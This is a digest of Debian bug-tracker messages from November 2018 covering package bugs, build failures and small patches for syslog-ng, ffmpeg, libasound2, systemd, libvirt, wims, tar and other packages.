> probably change the description of the wireguard metapackage to clarify
> this new additional functionality, and then try to make a trimmed down
> version of your postinst script that does things as simply/quietly as
> possible.

Sounds good to me. And was so straightforward I just went ahead and
pushed that (the previous iteration is available as
mr/reload-on-upgrade_v1 tag). You probably still want to adapt the echo
statements and package description ;)

Bug#913754: syslog-ng hangs in getrandom(2) on boot

[Eugene Berdnikov]

Package: syslog-ng
Version: 3.13.2-5
Severity: minor

 On boot start of syslog-ng as daemon from /etc/init.d (SysV-init)
 leads to hangup of boot process for several minutes. Strace shows
 that delay caused by getrandom(2) syscall:
 
1501 22:44:00 
getrandom("\x74\x78\x56\x35\x28\xad\x52\xd2\xcb\x51\xb1\x30\xc7\x67\x14\x26\x01\xa4\x2d\xa0\x30\x1d\xad\x09\x9e\xe3\x2c\x4e\x07\x55\x0d\x29",
 32, 0) = 32 <322.583360>

 Got with "strace -Tt", means reading of 32 random bytes tooks 322 seconds.
 This is expectable: on boot system has no enоuph entropy, so this syscall
 blocks until entropy is collected by kernel from device drivers.
 
 Previous versions of syslog-ng do not hang.
-- 
 Eugene Berdnikov

Bug#913309: Pcbnew: assertion failed on startup

[Carsten Schoenert]

Version: 5.0.1+dfsg1-3~bpo9+1
Control: tags -1 buster-ignore

Closing this issue now, it wasn't automatically closed due missed entry
of the bug number in the changelog.

On Sun, Nov 11, 2018 at 08:45:02AM +0100, Carsten Schoenert wrote:
> Hello Alexandre,
> 
> Am 11.11.18 um 04:39 schrieb Alexandre Oliveira:
> > I've found the problem. Back in August, when I installed Debian on my
> > laptop, I tried installing Kicad 5.0 by adding the testing (buster) to
> > my apt sources. I managed to mess up my entire system, but I also
> > managed to fix it by downgrading the upgraded packages. Looks like I
> > missed one in the downgrade process.
> > 
> > The problematic package was python-wxgtk3.0, version 3.0.2.0+dfsg-8,
> > when it should be using version 3.0.2.0+dfsg-4. I've downgraded it and
> > Pcbnew is working again.
> 
> then we indeed have a problem with the packaging.
> We need a stricter versioning on the depending packages. I'll have a
> look. Thanks for this important information!
 
-- 
Regards
Carsten Schoenert

Bug#913698: /usr/bin/ffprobe: Re: /usr/bin/ffprobe: Do not display version / build headers to stderr for ffprobe and others

[Witold Baryluk]

Package: ffmpeg
Version: 7:4.0.3-1
Followup-For: Bug #913698

Hi, thanks for a prompt response.

That is the response I was expecting, and I understand upstream reasons,
but I do not fully aggree with this reasoning.


I found -hide_banner option that basically do what I am asking for,
however it would be beneficial to have environment variable
AV_HIDE_BANNER=1 that do that automatically so I can put it in my profile
/ .rc scripts, etc.

It is unfortunately not something that can always be done using bash
aliases or custom wrapper (because some other tools can be calling using
fixed path by default).

Other (complementary) option would be to improve the banner itself, i.e.:

ffmpeg version 4.0.3-1 Copyright (c) 2000-2018 the FFmpeg developers; built 
with gcc 8 (Debian 8.2.0-9)
  config: --prefix=/usr --extra-version=1 --toolchain=hardened 
--libdir=/usr/lib/x86_64-linux-gnu --incdir=/usr/include/x86_64-linux-gnu 
--arch=amd64
  --enable: gpl avresample avisynth gnutls ladspa libaom libass libbluray 
libbs2b libcaca libcdio libcodec2 libflite libfontconfig libfreetype libfribidi 
libgme libgsm libjack libmp3lame libmysofa libopenjpeg libopenmpt libopus 
libpulse librsvg librubberband libshine libsnappy libsoxr libspeex libssh 
libtheora libtwolame libvidstab libvorbis libvpx libwavpack libwebp libx265 
libxml2 libxvid libzmq libzvbi lv2 omx openal opengl sdl2 libdc1394 libdrm 
libiec61883 chromaprint frei0r libopencv libx264 shared
  --disable: stripping filter=resample
  libs: avutil 56.14.100; avcodec 58.18.100; avformat 58.12.100; avdevice 
58.3.100; avfilter 7.16.100; avresample 4.0.0; swscale 5.1.100; swresample 
3.1.100; postproc 55.1.100


When displayed on reasonably standard width terminal of 100 columns, this
translates to 11 rows. Compared to 23 rows in default banner right now.


Regards,
Witold

Bug#913706: libasound2: Using a BOSS BR-800 results into a segfault in libasound2

[Elimar Riesebieter]

* firesurfer  [2018-11-14 19:54 +0100]:

> The output is:
> 

[...]

> ii  libasound2-plugins:amd64 1.1.7-2 amd64    ALSA library additional
> plugins
> ii  libasound2-plugins:i386 1.1.7-2 i386 ALSA library additional
> plugins

Could you please install libasound2-plugins 1.1.7-3 which is in sid
since yesterday and test again? Just put unstable main to your
sources.list and 'apt install libasound2-plugins -t unstable
libasound2-plugins'.

Elimar
-- 
.~.
/V\   L   I   N   U   X
   /( )\ >Phear the Penguin<
   ^^-^^


signature.asc
Description: PGP signature

Bug#908678: Testing the filter-branch scripts

[Holger Levsen]

On Wed, Nov 14, 2018 at 07:45:59PM +0100, Moritz Muehlenhoff wrote:
> Nearly all the tasks of actually editing the data require a look at the 
> complete
> data, e.g. to check whether something was tracked before, whether there's an 
> ITP
> for something, whether something was tracked as NFU in the past and lots more.

according to git log, the data goes back to 2004. Do you really need all
those 15 years of history or could we maybe make a yearly split for
(now) the first 10 years and have the last 5 years in "one"?

And then when we move into 2019 we would move 2014 to the then 11 first
years and so on... same in 2020 with 2015 then...

IMHO we should do something, else dealing with security-tracker.git will be
even more cumbersome in 5 or 10 years ahead.


-- 
cheers,
Holger

---
   holger@(debian|reproducible-builds|layer-acht).org
   PGP fingerprint: B8BF 5413 7B09 D35C F026 FE9D 091A B856 069A AA1C


signature.asc
Description: PGP signature

Bug#913725: New upstream version 2.9.1

[Jerome BENOIT]

Hello,

On 14/11/2018 17:05, Bill Allombert wrote:
> Hello Jérome,
> 
> Could you fix gap-sonata in unstable so that gap 4.9.3 can enter testing ?


Sorry, I should be aware of that. Give me 24h hours.

Thanks,
Jerome
> 
> Cheers,
> Bill
> 

-- 
Jerome BENOIT | calculus+at-rezozer^dot*net
https://qa.debian.org/developer.php?login=calcu...@rezozer.net
AE28 AE15 710D FF1D 87E5  A762 3F92 19A6 7F36 C68B



signature.asc
Description: OpenPGP digital signature

Bug#909396: systemd: FTBFS on hppa and x32 - relocation can not be used when making a shared object

[John David Anglin]

Hi Michael,

On 2018-11-14 7:38 a.m., Michael Biebl wrote:

If you want to see this fixed, it would be great if you can follow-up at
https://github.com/systemd/systemd/issues/10548#issuecomment-438619429

I don't feel comfortable creating such a pull request myself, as I
wouldn't know what to write in the commit message why the changes are
necessary (and apparently on very specific architectures).

It would thus be best if you can create that PR yourself or at least
send me a patch with a proper commit message and created via "git
format-patch" which I can forward.
I looked at the issue a bit more.  One reason this bug may be arch 
specific is some

architectures generate position independent code by default.

I agree this fix shouldn't be necessary.  The LTO plugin is supposed to 
automatically determine
the options needed for the compilations that it does from the options 
used for the compiled

options included in the link.  See gcc -flinker-output option:

@item -flinker-output=@var{type}
@opindex -flinker-output
This option controls the code generation of the link time optimizer.  By
default the linker output is determined by the linker plugin 
automatically. For
debugging the compiler and in the case of incremental linking to non-lto 
object

file is desired, it may be useful to control the type manually.

The LTO plugin merges the PIC and PIE options used for the compiled objects:

  /* Merge PIC options:
  -fPIC + -fpic = -fpic
  -fPIC + -fno-pic = -fno-pic
  -fpic/-fPIC + nothin = nothing.
 It is a common mistake to mix few -fPIC compiled objects into 
otherwise

 non-PIC code.  We do not want to build everything with PIC then.

 Similarly we merge PIE options, however in addition we keep
  -fPIC + -fPIE = -fPIE
  -fpic + -fPIE = -fpie
  -fPIC/-fpic + -fpie = -fpie

 It would be good to warn on mismatches, but it is bit hard to do as
 we do not know what nothing translates to.  */

As noted above, the most common mistake is to miss a -fPIC or -fPIE 
option in one of the objects.
Adding -fPIE to the PIE link options causes the LTO plugin to use it for 
the compilations it does.  Given
that it works, implies that all objects in the failing link are in fact 
PIE, but for some reason the option

determination has failed.

I also see in this build
https://buildd.debian.org/status/fetch.php?pkg=systemd=hppa=239-11=1540749653=0
that the libudev_static.a archive seems to be empty:

[389/1547] rm -f src/udev/libudev_static.a && gcc-ar csrD 
src/udev/libudev_static.a


Possibly, this confuses the LTO plugin on hppa.  Why do we link against 
an empty archive?


On the other hand, libudev-basic.a has objects:
[391/1547] rm -f src/udev/libudev-basic.a && gcc-ar csrD 
src/udev/libudev-basic.a 
'src/udev/src@udev@@udev-basic@sta/.._libudev_libudev.c.o' 
'src/udev/src@udev@@udev-basic@sta/.._libudev_libudev-list.c.o' 
'src/udev/src@udev@@udev-basic@sta/.._libudev_libudev-util.c.o' 
'src/udev/src@udev@@udev-basic@sta/.._libudev_libudev-device.c.o' 
'src/udev/src@udev@@udev-basic@sta/.._libudev_libudev-device-private.c.o' 
'src/udev/src@udev@@udev-basic@sta/.._libudev_libudev-enumerate.c.o' 
'src/udev/src@udev@@udev-basic@sta/.._libudev_libudev-monitor.c.o' 
'src/udev/src@udev@@udev-basic@sta/.._libudev_libudev-queue.c.o' 
'src/udev/src@udev@@udev-basic@sta/.._libudev_libudev-hwdb.c.o'


If it can be shown that all objects being linked into the failing links,

[422/1547] cc  -o src/udev/ata_id 
'src/udev/src@udev@@ata_id@exe/ata_id_ata_id.c.o' -flto 
-Wl,--no-undefined -Wl,--as-needed -Wl,-z,relro -Wl,-z,now -pie 
-Wl,--gc-sections -g -O2 -fdebug-prefix-map=/<>=. -Wformat 
-Werror=format-security -Wl,--start-group src/udev/libudev_static.a 
src/shared/libsystemd-shared-239.a src/libsystemd/libsystemd_static.a 
src/basic/libbasic.a src/udev/libudev-basic.a -lrt 
/usr/lib/hppa-linux-gnu/libcap.so -lacl 
/usr/lib/hppa-linux-gnu/libcryptsetup.so -lgcrypt 
/usr/lib/hppa-linux-gnu/libip4tc.so /usr/lib/hppa-linux-gnu/libip6tc.so 
/usr/lib/hppa-linux-gnu/libselinux.so /usr/lib/hppa-linux-gnu/libidn.so 
/usr/lib/hppa-linux-gnu/liblzma.so /usr/lib/hppa-linux-gnu/liblz4.so 
/usr/lib/hppa-linux-gnu/libblkid.so -lrt 
/usr/lib/hppa-linux-gnu/libmount.so -Wl,--end-group -pthread 
'-Wl,-rpath,$ORIGIN/:$ORIGIN/../shared:$ORIGIN/../libsystemd:$ORIGIN/../basic' 
-Wl,-rpath-link,/<>/build-deb/src/udev:/<>/build-deb/src/shared:/<>/build-deb/src/libsystemd:/<>/build-deb/src/basic 


FAILED: src/udev/ata_id
cc  -o src/udev/ata_id 'src/udev/src@udev@@ata_id@exe/ata_id_ata_id.c.o' 
-flto -Wl,--no-undefined -Wl,--as-needed -Wl,-z,relro -Wl,-z,now -pie 
-Wl,--gc-sections -g -O2 -fdebug-prefix-map=/<>=. -Wformat 
-Werror=format-security -Wl,--start-group src/udev/libudev_static.a 
src/shared/libsystemd-shared-239.a src/libsystemd/libsystemd_static.a 
src/basic/libbasic.a src/udev/libudev-basic.a -lrt 
/usr/lib/hppa-linux-gnu/libcap.so -lacl 
/usr/lib/hppa-linux-gnu/libcryptsetup.so -lgcrypt 

Bug#910857: Race condition when rapidly starting many KVMs: binding socket to 127.0.0.1:5900 failed

[Andreas Krüger]

Package: libvirt-daemon
Version: 3.0.0-4+deb9u3
Followup-For: Bug #910857

Hello,

I ran into a race condition today which may be the same as discussed
in this bug.

What I did: I started several KVM VMs in parallel.  This rather
reliably triggers an error.  The error message I see (split into
shorter lines for readability):

ERROR    internal error: process exited while connecting to monitor:
  ((null):24104): Spice-Warning **:
  reds.c:2524:reds_init_socket:
  reds_init_socket: binding socket to 127.0.0.1:5900 failed

Workaround: Start the machines one at a time.

How to reproduce the error:

# for i in 1 2 3; do virt-install --name node$i
--network=bridge:docker0,mac=52:54:00:a1:9c:0$i --boot=hd,network --memory=2048
--vcpus=1 --disk pool=default,size=10 --os-type=linux --os-variant=generic
--noautoconsole --events on_poweroff=preserve & done

Replacing the "&" with a ";" cures the problem.

Background information: I'm experimenting with a DHCP server that is
running in a docker container.  I expect my newly-born KVM nodes to
interact with that DHCP server.

The error message as quoted seems to come from a qemu-system-x86_64
process.  This I conclude from looking what listens on port 5900 after
a successful startup.  With three KVMs running, I have three
qemu-system-x86_64 processes, listening on ports 5900, 5901, 5902.

Checking the command line of those instances, I find that the port
number is not their choice.  They are given command line arguments
like, e.g.,

-spice
port=5900,addr=127.0.0.1,disable-ticketing,image-compression=off,seamless-migration=on

(among many others).

After a bit of poking around, I noticed that on my system, the present
pid of the libvirtd process is 1227.  I started to trace that process
via

strace -ff -e trace=process -e abbrev=none -o /home/user/junk/strace.log -p 1227

and start one more KVM instance.  In one of the files written, I find
(abbreviated):

execve("/usr/bin/qemu-system-x86_64",
  ["qemu-system-x86_64",
   (many lines omitted)
   "-spice",
   "port=5900,addr=127.0.0.1,disable"...,

So I speculate as follows: The problem may be caused by libvirtd
deciding to assign the same port to different KVMs, if the latter are
started in rapid succession.  All affected qemu-processes try to fetch
that port from the host OS, and all but one fail.

Regards,
and thank you for providing fine software

Andreas



-- System Information:
Debian Release: 9.5
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'stable')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.18.0-0.bpo.1-amd64 (SMP w/4 CPU cores)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8),
LANGUAGE=de_DE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages libvirt-daemon depends on:
ii  libapparmor1    2.11.0-3+deb9u2
ii  libaudit1   1:2.6.7-2
ii  libavahi-client3    0.6.32-2
ii  libavahi-common3    0.6.32-2
ii  libblkid1   2.29.2-1+deb9u1
ii  libc6   2.24-11+deb9u3
ii  libcap-ng0  0.7.7-3+b1
ii  libdbus-1-3 1.10.26-0+deb9u1
ii  libdevmapper1.02.1  2:1.02.137-2
ii  libfuse2    2.9.7-1+deb9u1
ii  libgnutls30 3.5.8-5+deb9u3
ii  libnetcf1   1:0.2.8-1+b2
ii  libnl-3-200 3.2.27-2
ii  libnl-route-3-200   3.2.27-2
ii  libnuma1    2.0.11-2.1
ii  libparted2  3.2-17
ii  libpcap0.8  1.8.1-3
ii  libpciaccess0   0.13.4-1+b2
ii  librados2   10.2.11-1
ii  librbd1 10.2.11-1
ii  libsasl2-2  2.1.27~101-g0780600+dfsg-3
ii  libselinux1 2.6-3+b3
ii  libssh2-1   1.7.0-1
ii  libudev1    232-25+deb9u4
ii  libvirt0    3.0.0-4+deb9u3
ii  libxen-4.8  4.8.4+xsa273+shim4.10.1+xsa273-1+deb9u10
ii  libxenstore3.0  4.8.4+xsa273+shim4.10.1+xsa273-1+deb9u10
ii  libxml2 2.9.4+dfsg1-2.2+deb9u2
ii  libyajl2    2.1.0-2+b3

Versions of packages libvirt-daemon recommends:
ii  libxml2-utils   2.9.4+dfsg1-2.2+deb9u2
ii  netcat-openbsd  1.130-3
ii  qemu-kvm    1:2.8+dfsg-6+deb9u5

Versions of packages libvirt-daemon suggests:
ii  libvirt-daemon-system  3.0.0-4+deb9u3
pn  numad  

-- no debconf information



signature.asc
Description: OpenPGP digital signature

Bug#774415: srebuild in devscripts

[Xavier]

Le 14/11/2018 à 19:39, Xavier a écrit :
> Le 14/11/2018 à 19:38, Holger Levsen a écrit :
>> On Wed, Nov 14, 2018 at 07:30:44PM +0100, Xavier wrote:
>>> debrebuild seems to want to compare with old .deb (size ?)
>>
>> it should not. it should compare with the hashes in the .buildinfo file.
> 
> I didn't modify script for now (except url update). I'm going to modify
> it now.
> 
> Thanks

Fixed, it works now but I don't understand the interest of this tool: it
gives just a command line to build...

It's really different than srebuild

Bug#913435: TAG: kickpass -- stupid simple password safe

[Paulo Henrique de Lima Santana]

On Sat, 10 Nov 2018 23:03:08 +0100 Paul Fariello  wrote:
> Package: wnpp
> Severity: RFP
> 
> Kickpass is a stupid simple password safe. It keep each password in a
> specific safe, protected with modern cryptography. Its main user
> interface is command line.
> Kickpass latest sources can be found at 
> https://github.com/kickpass/kickpass/archive/v0.2.0.tar.gz
> Kickpass is licenced under 3-clauses BSD.
 
Hi, I was looking the license and it's a MIT variant.

 * Permission to use, copy, modify, and distribute this software for any
 * purpose with or without fee is hereby granted, provided that the above
 * copyright notice and this permission notice appear in all copies.

You can check here:
https://fedoraproject.org/wiki/Licensing:MIT#Old_Style_with_legal_disclaimer_2

BSD-3-Clause:
 Redistribution and use in source and binary forms, with or without
 modification, are permitted provided that the following conditions
 are met:
 1. Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
 2. Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
 3. Neither the name of the University nor the names of its contributors
may be used to endorse or promote products derived from this software
without specific prior written permission.

By the way, I suggest you create a LICENCE file on the github repository.

Best regards,

-- 
Paulo Henrique de Lima Santana (phls)
Curitiba - Brasil
Membro da Comunidade Curitiba Livre
Site: http://www.phls.com.br
GNU/Linux user: 228719  GPG ID: 0443C450

Apoie a campanha pela igualdade de gênero #HeForShe (#ElesPorElas)  
http://www.heforshe.org/pt


pgpTiQa0YTvXd.pgp
Description: PGP signature

Bug#913706: libasound2: Using a BOSS BR-800 results into a segfault in libasound2

[firesurfer]

The output is:

ii  alsa-firmware-loaders 1.1.3-1 amd64    ALSA software loaders for 
specific hardware
ii  alsa-tools 1.1.3-1 amd64    Console based ALSA utilities for 
specific hardware

ii  alsa-utils 1.1.7-1 amd64    Utilities for configuring and using ALSA
ii  gstreamer1.0-alsa:amd64 1.14.4-1 amd64    GStreamer plugin for ALSA
ii  libasound2:amd64 1.1.7-1 amd64    shared library for ALSA 
applications
ii  libasound2:i386 1.1.7-1 i386 shared library for ALSA 
applications
ii  libasound2-data 1.1.7-1 all  Configuration files and 
profiles for ALSA drivers
ii  libasound2-dev:amd64 1.1.7-1 amd64    shared library for ALSA 
applications -- development files
ii  libasound2-plugins:amd64 1.1.7-2 amd64    ALSA library 
additional plugins
ii  libasound2-plugins:i386 1.1.7-2 i386 ALSA library additional 
plugins

ii  libsox-fmt-alsa:amd64 14.4.2-3 amd64    SoX alsa format I/O library

But I also tried the current masterbranches by building them myself and 
installing them via make install (not sure if that properly worked)


Lennart

On 14.11.18 17:02, Elimar Riesebieter wrote:

* Lennart Nachtigall  [2018-11-14 09:12 +0100]:


Package: libasound2
Version: 1.1.7-1 but also current master branch
Severity: important

Dear Maintainer,

after running an update the last few days I can't use my BOSS BR-800 anymore.
Starting pulseaudio results into a segfault in libasound2

Output of dmesg:
[  692.781099] usb 1-5.2: Product: BR-800
[  692.781103] usb 1-5.2: Manufacturer: BOSS
[  692.890833] pulseaudio[5041]: segfault at 7f1994f3ca08 ip 7f1994f3ca08
sp 7ffe492edaa8 error 15 in libpng16.so.16.34.0[7f1994f3c000+1000]
[  692.890837] Code: 00 00 60 9a f0 94 19 7f 00 00 0a 00 00 00 00 00 00 00 59
15 00 00 00 00 00 00 0b 00 00 00 00 00 00 00 18 00 00 00 00 00 00 00 <03> 00 00
00 00 00 00 00 48 cb f3 94 19 7f 00 00 02 00 00 00 00 00

After restarting pulseaudio by hand:

[  720.866408] traps: pulseaudio[5304] general protection ip:7fba0a2f5532
sp:7ffd75816d30 error:0 in libasound.so.2.0.0[7fba0a2bc000+8f000]

Symptoms seemed to be similar to
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=912921.

What tells

dpkg -l | egrep "(alsa|libasou)"

Elimar

Bug#913752: Why is an "all" package compiling things?

[Steve McIntyre]

Package: autobahn-cpp
Version: 17.5.1+git7cc5d37-2
Severity: serious
Justification: fails to build from source

Hi,

Running an rebuild of armhf and armel running on top of arm64
machines, I'm seeing build failures for autobahn-cpp. Investigating
further, I can see that it's not actually trying to create
arch-specific binary-any packages at all but only installs headers and
docs. What is going on?

-- System Information:
Debian Release: 9.6
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'stable-debug'), (500, 'stable')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.9.0-8-amd64 (SMP w/4 CPU cores)
Locale: LANG=en_GB.UTF-8, LC_CTYPE=en_GB.UTF-8 (charmap=UTF-8), 
LANGUAGE=en_GB.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Bug#913751: wims: FTBFS when linked with --as-needed

[Graham Inggs]

Control: tags -1 + patch

Please consider including the attached patch.
Description: Fix link failures with --as-needed
Bug-Debian: https://bugs.debian.org/913751
Author: Graham Inggs 
Last-Update: 2018-11-14

--- a/wims/src/Misc/canvasdraw/Makefile.in
+++ b/wims/src/Misc/canvasdraw/Makefile.in
@@ -5,7 +5,7 @@
 canvasdraw_home=$(wims_home)/src/Misc/canvasdraw
 cc=@CC@
 cflags=@CFLAGS@
-ldflags= @LDFLAGS@ -lm -L../../Lib -lwims
+ldflags= @LDFLAGS@ -L../../Lib -lwims -lm
 STRIP= @STRIP@
 public_script=$(wims_home)/public_html/bin/canvasdraw
 O=canvasmacro.o canvasdraw.o
--- a/wims/src/Flydraw/Makefile.in
+++ b/wims/src/Flydraw/Makefile.in
@@ -8,7 +8,7 @@
 
 STRIP=@STRIP@
 libpath=-L$(wims_home)/lib
-libs=-lm -lgd -lwims
+libs=-lgd -lwims -lm
 defines=@DEFINES@
 rpath=
 lopt=$(libpath) $(libs)

Bug#908678: Testing the filter-branch scripts

[Moritz Muehlenhoff]

On Wed, Nov 14, 2018 at 07:34:03AM +0100, Daniel Lange wrote:
> Am 13.11.18 um 23:09 schrieb Moritz Muehlenhoff:
> > The current data structure works very well for us and splitting the files
> > has many downsides.
> 
> Could you detail what those many downsides are besides the scripts that
> need to be amended?

Nearly all the tasks of actually editing the data require a look at the complete
data, e.g. to check whether something was tracked before, whether there's an ITP
for something, whether something was tracked as NFU in the past and lots more.

Cheers,
Moritz

Bug#774415: srebuild in devscripts

[Xavier]

Le 14/11/2018 à 19:38, Holger Levsen a écrit :
> On Wed, Nov 14, 2018 at 07:30:44PM +0100, Xavier wrote:
>> debrebuild seems to want to compare with old .deb (size ?)
> 
> it should not. it should compare with the hashes in the .buildinfo file.

I didn't modify script for now (except url update). I'm going to modify
it now.

Thanks

Bug#774415: srebuild in devscripts

[Holger Levsen]

On Wed, Nov 14, 2018 at 07:30:44PM +0100, Xavier wrote:
> debrebuild seems to want to compare with old .deb (size ?)

it should not. it should compare with the hashes in the .buildinfo file.


-- 
cheers,
Holger

---
   holger@(debian|reproducible-builds|layer-acht).org
   PGP fingerprint: B8BF 5413 7B09 D35C F026 FE9D 091A B856 069A AA1C


signature.asc
Description: PGP signature

Bug#774415: srebuild in devscripts

[Xavier]

Le 14/11/2018 à 18:25, Holger Levsen a écrit :
> On Mon, Nov 12, 2018 at 09:43:14PM +0100, Xavier wrote:
>> Le 12/11/2018 à 11:08, Holger Levsen a écrit :
>>> On Sun, Nov 11, 2018 at 10:43:34PM +0100, Xavier wrote:
 Sadly http://reproducible.alioth.debian.org/debian/ doesn't exists
 anymore and I can't find any Debian repository in
 https://tests.reproducible-builds.org/debian
>>>
>>> look at https://tests.reproducible-builds.org/debian/index_repositories.html
>>> there you will find the repo lines you are looking for.
>>
>> Thanks, seems to work now but needs to be tested more:
>> https://salsa.debian.org/yadd/devscripts/blob/devscripts-srebuild/scripts/debrebuild.pl
> 
> I just gave it a try:
> 
> $ git clone https://salsa.debian.org/yadd/devscripts
> [...]
> $ cd devscripts/
> $ git checkout devscripts-srebuild 
> $ wget 
> https://tests.reproducible-builds.org/debian/buildinfo/unstable/amd64/munin_2.0.42-5_amd64.buildinfo
> [...]
> $ perl scripts/debrebuild.pl munin_2.0.42-5_amd64.buildinfo 
> debrebuild.pl: error: cannot fstat file ./munin-async_2.0.42-5_all.deb: No 
> such file or directory
> 
> why does it need existing .debs in the current directory?
> 
> :)

debrebuild seems to want to compare with old .deb (size ?)

Bug#913751: wims: FTBFS when linked with --as-needed

[Graham Inggs]

Source: wims
Version: 1:4.07d~dfsg1-1
Severity: wishlist

Hi Maintainer

wims fails to build from source when linked with --as-needed, as is
the default in Ubuntu.

Regards
Graham

Bug#913750: kopanocore does a bad job cleaning the package

[Matthias Klose]

Package: src:kopanocore
Version: 8.6.5-1

kopanocore does a bad job cleaning the package. it at least leaves random
upstream files, the build directory, and files generated from debian/*.in files
which then cause build failures

Bug#913749: kopano-spamd missing files: usr/lib/systemd/system/kopano-spamd.service

[Matthias Klose]

Package: src:kopanocore
Version: 8.6.5-1

According to
https://launchpad.net/ubuntu/+source/kopanocore/8.6.5-1/+build/15659135

an unmodified build fails with

dh_install
dh_install: Cannot find (any matches for)
"usr/lib/systemd/system/kopano-spamd.service" (tried in ., debian/tmp)

dh_install: kopano-spamd missing files: 
usr/lib/systemd/system/kopano-spamd.service
dh_install: missing files, aborting
make[1]: *** [debian/rules:84: override_dh_install] Error 25
make[1]: Leaving directory '/<>'
make: *** [debian/rules:53: binary] Error 2

This service file is installed into lib, not usr/lib.  Don't know why that is
not seen on Debian, but a missing libsystemd-dev b-d doesn't let the package the
systemd m4 macros?

Bug#837351: tar: FTBFS on kfreebsd: --numeric-owner basic tests FAILED

[Carsten Leonhardt]

Control: tags -1 + patch

Hi,

at the moment it's difflink.at (test number 92) that is failing for
kFreeBSD.

The test assumes "ln -L" is default behaviour, which seems to be correct
on Linux, but not on BSD, where "ln -P" seems to be default (tested on
kFreeBSD, FreeBSD and OpenBSD).

The attached patch adds an explicit "-P" to make sure the correct link
is created.

Build tested successfully on kfreebsd-amd64.

Regards,

Carsten

commit a74558ec0a5f83f952663c706b95905a642fea63
Author: Carsten Leonhardt 
Date:   Wed Nov 14 18:39:37 2018 +0100

fix kfreebsd FTBS

diff --git a/debian/patches/fix-for-difflink.at-failure.diff b/debian/patches/fix-for-difflink.at-failure.diff
index 25f1549..471cdeb 100644
--- a/debian/patches/fix-for-difflink.at-failure.diff
+++ b/debian/patches/fix-for-difflink.at-failure.diff
@@ -5,8 +5,9 @@ index eadfb088..4e011760 100644
 @@ -21,7 +21,7 @@ mkdir a
  genfile -f a/x
  ln -s x a/y
- ln a/y a/z
+-ln a/y a/z
 -tar cf a.tar a
++ln -P a/y a/z
 +tar cf a.tar a/x a/y a/z
  rm a/z
  ln -s x a/z

Bug#804857: linux: New feature: enable CONFIG_NO_HZ_FULL and CONFIG_RCU_NOCB_CPU/CONFIG_RCU_NOCB_CPU_NONE

[Witold Baryluk]

Package: src:linux
Followup-For: Bug #804857


Hi, I am just curious, and wanted to know if there is some progress on
enableing NO_HZ_FULL in generic debian on most architectures?

I wouldn't also mind separate kernel image with CONFIG_PREEMPT (full
prempetion) and HZ=1000 for desktop / soft real time work (studio audio
work, gaming, etc).

Best regards,
Witold


-- System Information:
Debian Release: buster/sid
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.18.0-2-amd64 (SMP w/32 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), 
LANGUAGE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled